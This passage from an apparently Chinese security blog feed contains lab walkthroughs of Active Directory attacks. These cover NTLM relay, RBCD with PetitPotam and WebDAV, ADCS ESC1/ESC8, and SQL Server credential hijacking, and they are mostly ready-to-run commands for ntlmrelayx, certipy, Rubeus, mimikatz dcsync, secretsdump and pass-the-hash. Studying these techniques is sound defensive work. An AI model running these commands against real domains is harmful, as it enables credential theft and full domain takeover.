alt="image-20240927171718692"></p><p>然后,我们可以编辑我们的proxychains配置文件,以允许我们访问到远程机器的socks连接,默认情况下使用端口1080:</p><p>在<code>/etc/proxychains.conf</code>中添加行<code>socks4 127.0.0.1 1080</code></p><p>现在使用代理链,我们可以转储sam数据,因为<code>administrator</code>身份验证是管理员的。由于我们使用的是已经通过NTLM进行身份验证的实时socks隧道,此时使用nxc时我们不需要密码。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">proxychains ./nxc smb 192.168.74.142 -u administrator -p '' -d lyy --sam</span><br></pre></td></tr></table></figure><p><img src="image-20240927172442717.png" alt="image-20240927172442717"></p><p>上面的场景中,ntlmrelayx用于将<code>administrator</code>管理员身份验证中继到1台机器,但实际上它可以将其中继到50台具有SMB签名的机器,打开了50个管理员socks连接供选择。</p><h2 id="RBCD-petitpotam-CVE-2019-1040">RBCD+petitpotam+CVE-2019-1040</h2><p>添加机器账户</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python addcomputer.py lyy.com/user1:'Wsx123.' -computer-name abcdtest -computer-pass 123456 -dc-host WIN-KD9M44NUV16 -dc-ip 192.168.74.138</span><br></pre></td></tr></table></figure><p><img src="image-20240925171321323.png" alt="image-20240925171321323"></p><p><img src="image-20240925171334822.png" alt="image-20240925171334822"></p><p>开启中继</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python ntlmrelayx.py -t ldap://192.168.74.138 --remove-mic --delegate-access --escalate-user abcdtest\$</span><br></pre></td></tr></table></figure><blockquote><ol><li><code>--remove-mic</code>:这个参数用于关闭 NTLM 中继攻击中的完整性检查。MIC(消息完整性检查)是用于验证消息在传输过程中未被篡改的机制。在某些情况下,攻击者可能会禁用 MIC 以绕过安全措施。</li><li><code>--delegate-access</code>:这个参数用于请求对目标的委派访问权限。在 Kerberos 认证中,委派允许一个服务以用户的身份进行身份验证,而无需用户直接参与。这可以用于横向移动或提升权限。</li><li><code>--escalate-user abcdctest\$</code>:这个参数后面跟着的是用户名,格式为 <code>域名\用户名</code>。在这里,<code>abdcdtest\$</code> 表示一个服务账户,攻击者试图使用这个账户来提升权限或执行其他操作。</li></ol></blockquote><p><img src="image-20240925171807791.png" alt="image-20240925171807791"></p><p>利用 PetitPotam 发起对恶意机器的 SMB 请求</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 PetitPotam.py -d '' -u '' -p '' 192.168.74.135 192.168.74.143</span><br></pre></td></tr></table></figure><p><img src="image-20240925172644315.png" alt="image-20240925172644315"></p><p>获取ST</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 getST.py -dc-ip 192.168.74.138 lyy/abcdtest\$:123456 -spn cifs/WIN-6K645OMCGG8.lyy.com -impersonate administrator</span><br></pre></td></tr></table></figure><p><img src="image-20240925173705354.png" alt="image-20240925173705354"></p><p>加载票据使用</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">export KRB5CCNAME=administrator@[email protected]</span><br><span class="line">python psexec.py -k -no-pass [email protected] -dc-ip 192.168.74.138 -target-ip 192.168.74.143</span><br></pre></td></tr></table></figure><p><img src="image-20240926085906489.png" alt="image-20240926085906489"></p><blockquote><ol><li><code>-k</code>:这个参数告诉 <code>psexec.py</code> 使用 Kerberos 认证。这意味着脚本将尝试使用 Kerberos 票证进行身份验证,而不是明文密码。</li><li><code>-no-pass</code>:这个参数表示不使用密码进行认证。通常与 <code>-k</code> 参数一起使用,告诉脚本你不需要提供密码,而是依赖于当前用户的 Kerberos 票证缓存。</li></ol><p>如果显示<code>[-] SMB SessionError: code: 0xc0000016 - STATUS_MORE_PROCESSING_REQUIRED - {Still Busy} The specified I/O request packet (IRP) cannot be disposed of because the I/O operation is not complete.</code>则可能是kali和域控的时区不相同,改下kali的时区然后重启就好了。</p></blockquote><h2 id="RBCD-WebDAV">RBCD+WebDAV</h2><p><code>WebDAV</code>,全称为<code>Web Distributed Authoring and Versioning</code>(网络分布式创作和版本控制),是一种基于HTTP的协议,用于使用户能够编辑和管理存储在远程服务器上的文件。在Windows上一般由<code>WebClient</code>运行</p><p>首先,我们检查域控机器,看看是否强制了LDAP签名或通道绑定,发现没有。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nxc ldap 192.168.74.138 -u user1 -p Wsx123. -M ldap-checker</span><br></pre></td></tr></table></figure><p><img src="image-20240929101555328.png" alt="image-20240929101555328"></p><p>这里为了测试,我们先开启一台机器的<code>WebClient</code>服务(WebClient 在 Workstation 系统中是默认安装的, 但需要手动启动服务, 而 Server 系统需要通过附加功能来安装并启用 WebDAV 组件)</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sc start WebClient</span><br></pre></td></tr></table></figure><p><img src="image-20240929104143372.png" alt="image-20240929104143372"></p><p>利用nxc探测webdav服务,发现服务开启</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nxc smb 192.168.74.142 -u user1 -p Wsx123. -M webdav</span><br></pre></td></tr></table></figure><p><img src="image-20240929104245699.png" alt="image-20240929104245699"></p><p>开启ntlmrelayx以发动RBCD攻击</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python ntlmrelayx.py -t ldap://192.168.74.138 --no-dump --no-da --no-acl --no-validate-privs --delegate-access</span><br></pre></td></tr></table></figure><p><img src="image-20240929105357252.png" alt="image-20240929105357252"></p><p>默认情况下, WebClient 仅对<code>本地内部网 (Local Intranet)</code> 或<code>受信任的站点 (Trusted Sites) 列表</code>中的目标自动使用当前用户凭据进行 NTLM 认证,所以我们可以通过responder为我们提供一个机器名<code>WIN-WAJ2BTA2JYJ</code></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">responder -I eth1</span><br></pre></td></tr></table></figure><p><img src="image-20240929105305496.png" alt="image-20240929105305496"></p><p>利用PetitPotam强制<code>192.168.74.142</code>机器通过HTTP向Kali进行身份验证,然后将身份验证中继到<code>192.168.74.138</code></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python PetitPotam.py -u user1 -p Wsx123. -d lyy.com WIN-WAJ2BTA2JYJ@80/randfile.txt 192.168.74.142</span><br></pre></td></tr></table></figure><p><img src="image-20240929105755405.png" alt="image-20240929105755405"></p><p>执行该命令后,ntlmrelayx将身份验证转发到禁用LDAP签名的<code>192.168.74.138</code>,我们在网络上增加一个随机名称为<code>VRVYHXVT$</code>的新机器账户。</p><p><img src="image-20240929110125892.png" alt="image-20240929110125892"></p><p>在域控上可以看到这个新增的机器账户</p><p><img src="image-20240929110238193.png" alt="image-20240929110238193"></p><p>接下来的过程和之前一样,先获取票据,然后通过psexec连接控制</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 getST.py -dc-ip 192.168.74.138 lyy/VRVYHXVT\$:'KP\$unP+2c3zz*Aj' -spn cifs/DESKTOP-8N5L5EK.lyy.com -impersonate administrator</span><br></pre></td></tr></table></figure><p><img src="image-20240929111327744.png" alt="image-20240929111327744"></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">export KRB5CCNAME=administrator@[email protected]</span><br><span class="line">python psexec.py -k -no-pass [email protected] -dc-ip 192.168.74.138 -target-ip 192.168.74.142</span><br></pre></td></tr></table></figure><p><img src="image-20240929111348535.png" alt="image-20240929111348535"></p><p>也可以通过<a href="https://github.com/fortra/impacket/blob/master/examples/secretsdump.py">secretsdump</a>获取用户HASH</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python secretsdump.py -k -no-pass DESKTOP-8N5L5EK.lyy.com -dc-ip 192.168.74.138 -target-ip 192.168.74.142</span><br></pre></td></tr></table></figure><p><img src="image-20240929112157375.png" alt="image-20240929112157375"></p><p>参考:</p><p><a href="https://www.cnblogs.com/yokan/p/16102699.html">ntlm认证及ntlm relay攻击详解</a></p><p><a href="https://exp10it.io/2023/08/%E5%9F%BA%E4%BA%8E%E8%B5%84%E6%BA%90%E7%9A%84%E7%BA%A6%E6%9D%9F%E5%A7%94%E6%B4%BE-rbcd-%E5%88%A9%E7%94%A8%E6%80%BB%E7%BB%93">基于资源的约束委派-rbcd-利用总结</a></p>]]></content>
<summary type="html"><p><code>NtlmRelay</code>的一些场景利用</p>
<p>环境说明:</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line"></summary>
<category term="技术" scheme="http://example.com/categories/%E6%8A%80%E6%9C%AF/"/>
<category term="内网" scheme="http://example.com/tags/%E5%86%85%E7%BD%91/"/>
</entry>
<entry>
<title>ADCS相关利用</title>
<link href="http://example.com/post/2024/ADCS%E7%9B%B8%E5%85%B3%E5%88%A9%E7%94%A8/"/>
<id>http://example.com/post/2024/ADCS%E7%9B%B8%E5%85%B3%E5%88%A9%E7%94%A8/</id>
<published>2024-09-25T03:27:44.000Z</published>
<updated>2024-09-27T02:59:09.181Z</updated>
<content type="html"><![CDATA[<h2 id="概述">概述</h2><p><code>Active Directory Certificate Services (ADCS)</code> 是微软 Windows Server 操作系统中的一个角色,主要用于构建和管理公钥基础设施(PKI)。</p><h3 id="Kerberos认证过程">Kerberos认证过程</h3><p><img src="image-20240924104915455.png" alt="image-20240924104915455"></p><h3 id="PKINIT认证">PKINIT认证</h3><p>PKINIT(Public Key Infrastructure for Initial Authentication)是Kerberos协议的一个扩展,它允许使用公钥证书进行初始身份认证。与传统的Kerberos身份验证相比,PKINIT提供了一种基于公钥加密的认证机制,增强了安全性。</p><p>在PKINIT认证过程中,客户端和Kerberos认证服务器(KDC)使用证书和私钥进行通信,而不是使用密码或密钥散列。以下是PKINIT认证的基本步骤:</p><ol><li><strong>证书注册</strong>:客户端生成一对公钥和私钥,并把公钥证书送至证书颁发机构(CA)签名。CA对客户端的公钥进行签名,并颁发证书给客户端。KDC也需要一个由CA颁发的证书,以便客户端可以验证KDC的身份。</li><li><strong>PKINIT认证请求</strong>:在Kerberos的AS-REQ(Authentication Service Request)消息中,客户端会附上它的<code>证书</code>和用<code>私钥</code>签名的请求。KDC使用客户端证书中的<code>公钥</code>进行解密,并验证签名是否有效。确认有效之后返回使用<code>证书公钥</code>加密的 TGT 并且消息是使用 KDC 私钥签名,客户端使用 KDC 公钥进行签名校验,随后使用<code>证书私钥</code>解密成功拿到 TGT。</li><li><strong>会话密钥交换</strong>:一旦认证成功,KDC和客户端将使用Diffie-Hellman密钥交换或其他机制来安全地协商一个会话密钥。</li></ol><h3 id="证书模板">证书模板</h3><p><code>证书模板</code>是用于定义证书属性和颁发规则的预设配置,它在公钥基础设施(PKI)中用于指导证书颁发机构(CA)自动颁发具有特定属性和用途的证书。</p><p>简单来说,就是不同证书可以发挥不同的作用,利用证书模板来决定这个证书可以用来干什么。</p><p>通过<code>控制面板</code>-<code>管理工具</code>-<code>证书颁发机构</code>可以看到所有的证书模板。</p><p><img src="image-20240924111154747.png" alt="image-20240924111154747"></p><h3 id="应用程序策略-oid">应用程序策略 (oid)</h3><p>当创建证书模板时,可以指定一系列的OID,这些OID定义了证书的用途和它们的扩展属性。</p><p>然而只有包含了 <code>Client Authentication</code>(客户端身份认证)、<code>PKINIT Client Authentication</code>、<code>Smart Card Logon</code>(智能卡登录)、<code>Any Purpose</code>(任何目的)、<code>SubCA</code> 时,对应的证书才能充当 PKINIT 身份认证凭据。</p><p><img src="image-20240924113036880.png" alt="image-20240924113036880"></p><p>环境说明:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">主域控:192.168.74.138主机名:WIN-KD9M44NUV16 域名:lyy.com</span><br><span class="line">辅域控:192.168.74.143</span><br><span class="line">域内机器:192.168.74.142</span><br><span class="line">域用户:user1/Wsx123.</span><br><span class="line">kali:192.168.74.135</span><br></pre></td></tr></table></figure><p>环境搭建可参考<a href="https://forum.butian.net/share/1583">ADCS小结</a></p><blockquote><p>由于ESC8漏洞涉及到NTLM RELAY,然而微软在ms08-068中对Relay到自身机器做了限制,严禁Relay到机器自身所以这里必须要搭建<code>ADCS服务器+域控服务器</code>或<code>ADCS搭在域控上+辅域控</code></p></blockquote><h2 id="ADCS漏洞–ESC1">ADCS漏洞–ESC1</h2><h3 id="条件">条件</h3><p>1、我们需要有权限去获取(注册)证书<br>2、能够登记为客户端身份验证或智能卡登录等<br>3、CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT开启</p><h3 id="配置">配置</h3><p>对于第一个条件,直接在域控里赋予<code>Domain Users</code>组注册权限即可</p><p><img src="image-20240924144326786.png" alt="image-20240924144326786"></p><p>对于第二个条件需在<code>拓展</code>的<code>应用程序策略</code>中加入<code>客户端身份验证</code></p><p><img src="image-20240924144437546.png" alt="image-20240924144437546"></p><p>第三个条件则需要在<code>使用者名称</code>中选择<code>在请求中提供</code></p><p><img src="image-20240924144637011.png" alt="image-20240924144637011"></p><h3 id="复现">复现</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">net user /add user1 Wsx123. /domain #创建user1用户</span><br></pre></td></tr></table></figure><p>使用<a href="https://github.com/GhostPack/Certify">Certify.exe</a>(exe版本可在<a href="https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Certify.exe">此处下载</a>)同时需要有个Interop.CERTENROLLLib.dll(可通过nuget下载<a href="https://www.nuget.org/api/v2/package/Interop.CERTENROLLLib/1.0.0">nupkg</a>文件后通过解压工具提取),且需要.NET环境。</p><p><img src="image-20240924092923460.png" alt="image-20240924092923460"></p><p>检测是否存在证书配置错误</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Certify.exe find /vulnerable</span><br></pre></td></tr></table></figure><p>可以看到发现了一个错误的的证书模板</p><p><img src="image-20240924093850305.png" alt="image-20240924093850305"></p><p>定位CA机器</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">certutil -config - -ping</span><br></pre></td></tr></table></figure><p><img src="image-20240924094100168.png" alt="image-20240924094100168"></p><p>获取证书</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Certify.exe request /ca:WIN-KD9M44NUV16.lyy.com\lyy-WIN-KD9M44NUV16-CA /template:ESC1 /altname:administrator</span><br></pre></td></tr></table></figure><p><img src="image-20240924095350038.png" alt="image-20240924095350038"></p><p>将<code>-----BEGIN RSA PRIVATE KEY----- ... -----END CERTIFICATE-----</code>复制保存为<code>cert.pem</code></p><p>用kali上的openssl将cert.pem换算为cert.pfx,不需要输入密码</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx</span><br></pre></td></tr></table></figure><p><img src="image-20240924095651936.png" alt="image-20240924095651936"></p><p>使用<a href="https://github.com/GhostPack/Rubeus">Rubeus</a>(<a href="https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Rubeus.exe">exe下载</a>)获取administrator管理员的TGT</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /dc:192.168.74.138 /ptt</span><br></pre></td></tr></table></figure><p><img src="image-20240924100511554.png" alt="image-20240924100511554"></p><p>klist查看当前缓存的 Kerberos 票据</p><p><img src="image-20240924101541924.png" alt="image-20240924101541924"></p><p>查看域控c盘下的文件</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dir \\WIN-KD9M44NUV16\c$</span><br></pre></td></tr></table></figure><p><img src="image-20240924100821971.png" alt="image-20240924100821971"></p><p>也可以在kali使用<a href="https://github.com/ly4k/Certipy">certipy</a>来进行利用</p><p>安装certipy</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip3 install certipy-ad</span><br></pre></td></tr></table></figure><p>查询对于用户user1存在哪些证书模板可利用</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">certipy find -u [email protected] -p Wsx123. -dc-ip 192.168.74.138 -vulnerable -debug -vulnerable</span><br></pre></td></tr></table></figure><p><img src="image-20240924144808728.png" alt="image-20240924144808728"></p><p>可以看到35个证书模板中颁布了12个模板,其中1个模板存在漏洞,查看具体的漏洞信息可以发现检测出来了ESC1漏洞</p><p><img src="image-20240924145046116.png" alt="image-20240924145046116"></p><p>通过-upn参数去获取administrator的证书</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">certipy req -u [email protected] -p Wsx123. -ca lyy-WIN-KD9M44NUV16-CA -target-ip 192.168.74.138 -template ESC1 -upn [email protected]</span><br></pre></td></tr></table></figure><p>获取用户hash</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">certipy auth -pfx 111.pfx -dc-ip 192.168.74.138</span><br></pre></td></tr></table></figure><p><img src="image-20240924150732833.png" alt="image-20240924150732833"></p><p>对于不同的证书模板有不同的利用方式,具体可参考<a href="https://xz.aliyun.com/t/12267">利用ADCS不安全模板配置提升域权限</a></p><h2 id="ADCS漏洞–ESC8-PetitPotam-ADCS-relay">ADCS漏洞–ESC8(PetitPotam)(ADCS relay)</h2><p>由于在ADCS的认证中支持NTLM认证,所以可使用ntlm relay窃取用户HASH</p><p><img src="image-20240924152530626.png" alt="image-20240924152530626"></p><p>访问<code>http://192.168.74.138/certsrv/certfnsh.asp</code>发现需要用户认证</p><p><img src="image-20240925134239826.png" alt="image-20240925134239826"></p><h3 id="复现-v2">复现</h3><p>使用<code>ntlmrelayx.py</code>将证书颁发机构 (CA) 设置为中继目标,开启监听</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">git clone https://github.com/SecureAuthCorp/impacket.git</span><br><span class="line">cd impacket/</span><br><span class="line">pip3 install .</span><br><span class="line">python3 setup.py install</span><br><span class="line"></span><br><span class="line">python3 ntlmrelayx.py -t http://192.168.74.138/certsrv/certfnsh.asp -smb2support --adcs --template 'Domain Controller'</span><br></pre></td></tr></table></figure><p><img src="image-20240925095204623.png" alt="image-20240925095204623"></p><blockquote><p><code>--adcs</code>:这个参数用于指示攻击者想要利用 Active Directory 证书服务 (ADCS) 的漏洞。ADCS 是 Windows Server 中的一个角色服务,用于颁发和管理系统的公钥基础结构 (PKI) 证书。<code>--template 'Domain Controller'</code>:这个参数后面跟着的是模板名称,用于指示 <code>ntlmrelayx</code> 在执行攻击时应该模仿哪种类型的服务或计算机。在这个例子中,使用了 ‘Domain Controller’ 模板,意味着攻击者试图模仿域控制器的行为。</p></blockquote><p>使用<a href="https://github.com/topotam/PetitPotam">PetitPotam</a>进行攻击</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python PetitPotam.py -u '' -d '' -p '' 192.168.74.135(攻击机中转,回连地址) 192.168.74.143(辅域)</span><br></pre></td></tr></table></figure><p><img src="image-20240925132432111.png" alt="image-20240925132432111"></p><blockquote><p>PetitPotam漏洞利用了微软加密文件系统远程协议(MS-EFSRPC,MicroSoft Encrypting File System Remote Protocol)。MS-EFSRPC是 Microsoft 的加密文件系统远程协议,用于对远程存储和通过网络访问的加密数据执行“维护和管理操作”。利用该漏洞,黑客通过连接到LSARPC强制触发目标机器向指定远程<a href="https://cloud.tencent.com/act/pro/promotion-cvm?from_column=20065&from=20065">服务器</a>发送Net-NTLM Hash,从而攻击者在拿到Net-NTLM Hash后能进行NTLM Relay攻击,进而接管整个域。</p></blockquote><p>ntlmrelayx.py捕获到了ntlm认证,并将认证信息保存到了<code>WIN-6K645OMCGG8$.pfx</code>文件中</p><p><img src="image-20240925132546613.png" alt="image-20240925132546613"></p><p>使用Rubeus.exe获取凭证信息</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Rubeus.exe asktgt /user:WIN-6K645OMCGG8$ /certificate:WIN-6K645OMCGG8$.pfx /dc:192.168.74.138 /ptt</span><br></pre></td></tr></table></figure><p><img src="image-20240925133314353.png" alt=""></p><p>使用mimikatz提取票据中的密码hash</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">lsadump::dcsync /all /csv /domain:lyy.com</span><br></pre></td></tr></table></figure><p><img src="image-20240925133720334.png" alt="image-20240925133720334"></p><p>通过PTH成功在域控上执行了命令</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 psexec.py lyy/[email protected] -hashes :70834250207c9b16a3e6cd8c9d3a8054</span><br></pre></td></tr></table></figure><p><img src="image-20240925134053918.png" alt="image-20240925134053918"></p><h3 id="防御">防御</h3><p>1.关闭证书服务的web端点,或者开启SSL认证</p><p>2.开启NTML中继保护</p><p><a href="https://support.microsoft.com/zh-cn/topic/kb5005413-%E7%BC%93%E8%A7%A3-active-directory-%E8%AF%81%E4%B9%A6%E6%9C%8D%E5%8A%A1%E4%B8%8A%E7%9A%84-ntlm-%E4%B8%AD%E7%BB%A7%E6%94%BB%E5%87%BB-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429">KB5005413:缓解 Active Directory 证书服务上的 NTLM 中继攻击 (AD CS)</a></p><p>参考:</p><p><a href="https://xz.aliyun.com/t/10395">ADCS中的ntlm relay</a></p><p><a href="https://forum.butian.net/share/1583">ADCS小结</a></p><p><a href="https://blog.noah.360.net/active-directory-certificate-services-attack-and-exploit/">ADCS 攻击面挖掘与利用</a></p><p><a href="https://xz.aliyun.com/t/12267">利用ADCS不安全模板配置提升域权限</a></p>]]></content>
<summary type="html"><h2 id="概述">概述</h2>
<p><code>Active Directory Certificate Services (ADCS)</code> 是微软 Windows Server 操作系统中的一个角色,主要用于构建和管理公钥基础设施(PKI)。</p>
<h3</summary>
<category term="技术" scheme="http://example.com/categories/%E6%8A%80%E6%9C%AF/"/>
<category term="内网" scheme="http://example.com/tags/%E5%86%85%E7%BD%91/"/>
</entry>
<entry>
<title>利用代理作业劫持SQL服务器凭据来实现权限提升</title>
<link href="http://example.com/post/2024/%E5%88%A9%E7%94%A8%E4%BB%A3%E7%90%86%E4%BD%9C%E4%B8%9A%E5%8A%AB%E6%8C%81SQL%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%87%AD%E6%8D%AE%E6%9D%A5%E5%AE%9E%E7%8E%B0%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/"/>
<id>http://example.com/post/2024/%E5%88%A9%E7%94%A8%E4%BB%A3%E7%90%86%E4%BD%9C%E4%B8%9A%E5%8A%AB%E6%8C%81SQL%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%87%AD%E6%8D%AE%E6%9D%A5%E5%AE%9E%E7%8E%B0%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/</id>
<published>2024-09-20T05:26:02.000Z</published>
<updated>2024-09-20T05:58:04.811Z</updated>
<content type="html"><![CDATA[<p>在某些渗透场景下,我们已经获取到了SQL server的DBA权限,可以通过<code>xp_cmdshell</code>或其他方法以SQL Server服务帐户执行系统命令,然而,SQL Server服务帐户被配置为作为<code>NT Service\MSSQLSERVER</code>运行,这是一个在操作系统上具有有限权限的帐户,所以接下来,我们一般会考虑本地权限提升。</p><p>Windows以<code>Service\MSSQLSERVER</code>权限提升的方法有很多,比如经典的烂土豆漏洞,然而,如果在SQL Server实例上配置了SQL Server凭据,可以尝试通过SQL Server凭据进行权限提升。</p><h2 id="SQL-Server中的凭据对象">SQL Server中的凭据对象</h2><p>在 SQL Server 中,一个<code> Credential Object</code>(凭据对象)是用来存储访问 SQL Server 外部资源所需的身份验证信息的记录。这些外部资源可能包括服务器、共享文件夹、Azure Blob 存储或其他需要特定权限的资源。凭据对象通常包含 Windows 用户名和密码,这些信息由 SQL Server 在内部使用,以便在需要时进行身份验证。</p><p>我们首先创建一个名为<code>testuser</code>的本地用户并使其成为本地管理员。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">net user testuser P@ssw0rd! /add</span><br><span class="line">net localgroup administrators /add testuser </span><br></pre></td></tr></table></figure><p>在SQL server中创建凭据对象。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> CREDENTIAL [MyCredential]</span><br><span class="line"><span class="keyword">WITH</span> <span class="keyword">IDENTITY</span> <span class="operator">=</span> <span class="string">'DESKTOP-8N5L5EK\testuser'</span>, <span class="comment">-- Windows主机名/用户名</span></span><br><span class="line">SECRET <span class="operator">=</span> <span class="string">'P@ssw0rd!'</span>; <span class="comment">-- 密码</span></span><br></pre></td></tr></table></figure><h2 id="凭据对象利用">凭据对象利用</h2><p>1.首先判断是否具有系统管理员访问权限</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> IS_SRVROLEMEMBER(<span class="string">'sysadmin'</span>) <span class="keyword">AS</span> IsSysAdmin;</span><br></pre></td></tr></table></figure><p><img src="image-20240920100444156.png" alt="image-20240920100444156"></p><p>2.查询SQL Server实例上配置的凭据列表,这里我们可以看到之前添加的凭据信息</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> sys.credentials </span><br></pre></td></tr></table></figure><p><img src="image-20240920100540622.png" alt="image-20240920100540622"></p><p>3.列出代理帐户。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">USE msdb; </span><br><span class="line">GO </span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> </span><br><span class="line"> proxy_id, </span><br><span class="line"> name <span class="keyword">AS</span> proxy_name, </span><br><span class="line"> credential_id, </span><br><span class="line"> enabled </span><br><span class="line"><span class="keyword">FROM</span> </span><br><span class="line"> dbo.sysproxies; </span><br><span class="line">GO </span><br></pre></td></tr></table></figure><p><img src="image-20240920100639071.png" alt="image-20240920100639071"></p><blockquote><p>SQL Server 代理帐户是用于运行 SQL Server Agent 服务的 Windows 帐户。SQL Server Agent 是一个 Windows 服务,负责执行计划的数据库管理任务,这些任务被称为作业(jobs)。代理帐户定义了 SQL Server Agent 运行及其网络权限的 Windows 帐户。</p></blockquote><p>4.创建代理帐户。如果不存在滥用/模拟的凭证对象的代理帐户,我们可以创建一个并为其分配所需的权限。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">USE msdb; </span><br><span class="line">GO </span><br><span class="line"></span><br><span class="line"><span class="keyword">EXEC</span> sp_add_proxy </span><br><span class="line"> <span class="variable">@proxy</span>_name <span class="operator">=</span> N<span class="string">'MyCredentialProxy'</span>, <span class="comment">-- 新代理的名称 </span></span><br><span class="line"> <span class="variable">@credential</span>_name <span class="operator">=</span> N<span class="string">'MyCredential'</span>; <span class="comment">-- 指定与新代理关联的凭据的名称 </span></span><br><span class="line"><span class="keyword">EXEC</span> sp_grant_proxy_to_subsystem <span class="comment">-- 将代理授权给特定的子系统,允许代理在该子系统的上下文中执行作业步骤</span></span><br><span class="line"> <span class="variable">@proxy</span>_name <span class="operator">=</span> N<span class="string">'MyCredentialProxy'</span>, <span class="comment">-- 指定要授权的代理名称</span></span><br><span class="line"> <span class="variable">@subsystem</span>_id <span class="operator">=</span> <span class="number">3</span>; <span class="comment">-- 指定子系统的 ID,3表示操作系统(CmdExec)子系统</span></span><br></pre></td></tr></table></figure><p>5.验证是否已创建代理帐户。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span 